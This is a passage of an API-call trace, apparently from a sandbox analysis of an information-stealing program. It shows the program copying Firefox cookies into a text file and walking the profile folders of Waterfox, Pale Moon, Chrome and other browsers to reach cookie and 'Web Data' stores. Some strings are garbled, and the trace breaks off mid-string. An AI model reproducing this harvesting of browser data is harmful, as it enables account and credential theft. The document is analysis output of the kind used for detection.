lpNumberOfBytesRead=0x18d218*=0x8000, lpOverlapped=0x18d1dc) returned 1 [0074.957] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d1b0 | out: lpFileInformation=0x18d1b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.957] GetLastError () returned 0x2 [0074.957] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0074.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-shm" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-shm"), fInfoLevelId=0x0, lpFileInformation=0x18d0e8 | out: lpFileInformation=0x18d0e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.958] GetLastError () returned 0x2 [0074.958] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-shm" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0074.997] LockFileEx (in: hFile=0x448, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d138 | out: lpOverlapped=0x18d138) returned 1 [0074.998] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x18d15c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18d15c*=0) returned 0x0 [0074.998] SetEndOfFile (hFile=0x448) returned 1 [0074.998] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d13c | out: lpOverlapped=0x18d13c) returned 1 [0074.998] LockFileEx (in: hFile=0x448, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d130 | out: lpOverlapped=0x18d130) returned 1 [0074.998] LockFileEx (in: hFile=0x448, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d188 | out: lpOverlapped=0x18d188) returned 1 [0074.998] SetEndOfFile (hFile=0x448) returned 1 [0074.999] LockFileEx (in: hFile=0x448, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x7, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d108 | out: lpOverlapped=0x18d108) returned 1 [0074.999] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x7, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d10c | out: lpOverlapped=0x18d10c) returned 1 [0074.999] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d18c | out: lpOverlapped=0x18d18c) returned 1 [0074.999] LockFileEx (in: hFile=0x448, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1b0 | out: lpOverlapped=0x18d1b0) returned 1 [0074.999] ReadFile (in: hFile=0x328, lpBuffer=0x47ecbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18d218, lpOverlapped=0x18d1dc | out: lpBuffer=0x47ecbe0*, lpNumberOfBytesRead=0x18d218*=0x8000, lpOverlapped=0x18d1dc) returned 1 [0074.999] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18ceec | out: lpOverlapped=0x18ceec) returned 1 [0075.000] LockFileEx (in: hFile=0x448, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18db88 | out: lpOverlapped=0x18db88) returned 1 [0075.000] ReadFile (in: hFile=0x328, lpBuffer=0x47e4b40, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18dc08, lpOverlapped=0x18dbcc | out: lpBuffer=0x47e4b40*, lpNumberOfBytesRead=0x18dc08*=0x8000, lpOverlapped=0x18dbcc) returned 1 [0075.001] UnlockFileEx (in: hFile=0x448, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dbac | out: lpOverlapped=0x18dbac) returned 1 [0075.001] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18de60 | out: lpOverlapped=0x18de60) returned 1 [0075.001] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de58 | out: lpOverlapped=0x18de58) returned 1 [0075.001] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18de60 | out: lpOverlapped=0x18de60) returned 1 [0075.002] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-shm" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-shm")) returned 1 [0075.002] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-wal")) returned 1 [0075.002] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de5c | out: lpOverlapped=0x18de5c) returned 1 [0075.002] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de5c | out: lpOverlapped=0x18de5c) returned 0 [0075.002] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de50 | out: lpOverlapped=0x18de50) returned 0 [0075.002] GetLastError () returned 0x9e [0075.003] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18de5c | out: lpOverlapped=0x18de5c) returned 1 [0075.003] CloseHandle (hObject=0x328) returned 1 [0075.006] SysReAllocStringLen (in: pbstr=0x18e120*=0x0, psz=".mozilla.org\x09TRUE\x09/\x09FALSE\x091559702270\x09_ga\x09GA1.2.267706369.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496716670\x09_gid\x09GA1.2.652256341.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496630330\x09_gat_UA-36116321-1\x091\r\n.java.com\x09TRUE\x09/\x09FALSE\x091500158050\x09s_nr\x091497566050616\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091560638051\x09s_vi\x09[CS]v1|2CA1CC02050323A4-4000119A80008B49[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091497566082\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091497566072\x09token_test\x09Fri Jun 16 2017 08:34:12 GMT+1000 (AUS Eastern Standard Time)\r\n", len=0x2e9 | out: pbstr=0x18e120*=".mozilla.org\x09TRUE\x09/\x09FALSE\x091559702270\x09_ga\x09GA1.2.267706369.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496716670\x09_gid\x09GA1.2.652256341.1496630270\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091496630330\x09_gat_UA-36116321-1\x091\r\n.java.com\x09TRUE\x09/\x09FALSE\x091500158050\x09s_nr\x091497566050616\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091497567850\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091560638051\x09s_vi\x09[CS]v1|2CA1CC02050323A4-4000119A80008B49[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091497566082\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091497566072\x09token_test\x09Fri Jun 16 2017 08:34:12 GMT+1000 (AUS Eastern Standard Time)\r\n") returned 1 [0075.006] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp")) returned 1 [0075.008] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\MozillaFireFox_silmbjec.default.txt", lpszDst=0x4530c1c, cchDstLength=0x34 | out: lpszDst="Browsers\\Cookies\\MozillaFireFox_silmbjec.default.txt") returned 1 [0075.008] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x4530ca4, Length=0x2e9) returned 0x25770dab [0075.008] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0075.008] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0075.009] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0075.009] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.009] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4527084, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴ꍌ라틼\x18ꍔ라팄\x18⹼疘Љ") returned 14 [0075.009] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.009] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.009] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0075.009] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.009] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4527084, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴ꍌ라틼\x18ꍔ라팄\x18⹼疘Љ") returned 14 [0075.009] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.009] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.009] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0075.009] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.009] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4527084, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴ꍌ라틼\x18ꍔ라팄\x18⹼疘Љ") returned 14 [0075.009] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.009] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.009] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0075.010] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4527084, cbMultiByte=14, lpWideCharStr=0x18d0c0, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite䵜穯汩慬楆敲潆彸楳浬橢捥搮晥畡瑬琮瑸㜶〷㌶㤶ㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㜶㘱㜶र束摩䜉ㅁ㈮㘮㈵㔲㌶ㄴㄮ㤴㘶〳㜲ര⸊潭楺汬⹡牯१剔䕕⼉䘉䱁䕓ㄉ㤴㘶〳㌳र束瑡啟ⵁ㘳ㄱ㌶ㄲㄭㄉ਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ〵㄰㠵㔰र彳牮ㄉ㤴㔷㘶㔰㘰㘱਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧慎敭樉癡捡㌥噁牥晩╹䄳湉瑳污敬彤削彅潈敭慰敧਍樮癡⹡潣७剔䕕⹇疘⹣疘⹇疘⹣疘㔸र灧桃湡敮६慪慶╣䄳敖楲祦਍樮癡⹡潣७剔䕕⼉䘉䱁䕓ㄉ㤴㔷㜶㔸र灧敓癲牥樉癡⹡潣൭⸊牯捡敬ㄮ㈱㈮㝯渮瑥吉啒ॅय䅆卌ॅ㔱〶㌶〸ㄵ猉癟३䍛嵓ㅶ㉼䅃䌱ぃ〲〵㈳䄳ⴴ〴〰ㄱ䄹〸〰䈸㤴ꍌ라틼\x18ꍔ라팄\x18⹼疘Љ") returned 14 [0075.010] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.010] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.010] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6d96a4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0075.010] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0075.010] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.010] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0075.010] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0075.010] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0075.044] SysReAllocStringLen (in: pbstr=0x18e100*=0x0, psz="133474", len=0x6 | out: pbstr=0x18e100*="133474") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e0a4*=0x0, psz="2496", len=0x4 | out: pbstr=0x18e0a4*="2496") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e0a0*=0x0, psz="7581", len=0x4 | out: pbstr=0x18e0a0*="7581") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="7481", len=0x4 | out: pbstr=0x18e09c*="7481") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="4562", len=0x4 | out: pbstr=0x18e098*="4562") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e108*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x55 | out: pbstr=0x18e108*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0075.047] SysReAllocStringLen (in: pbstr=0x18e0ac*=0x0, psz="C:\\Users\\5p5NrGJn0jS 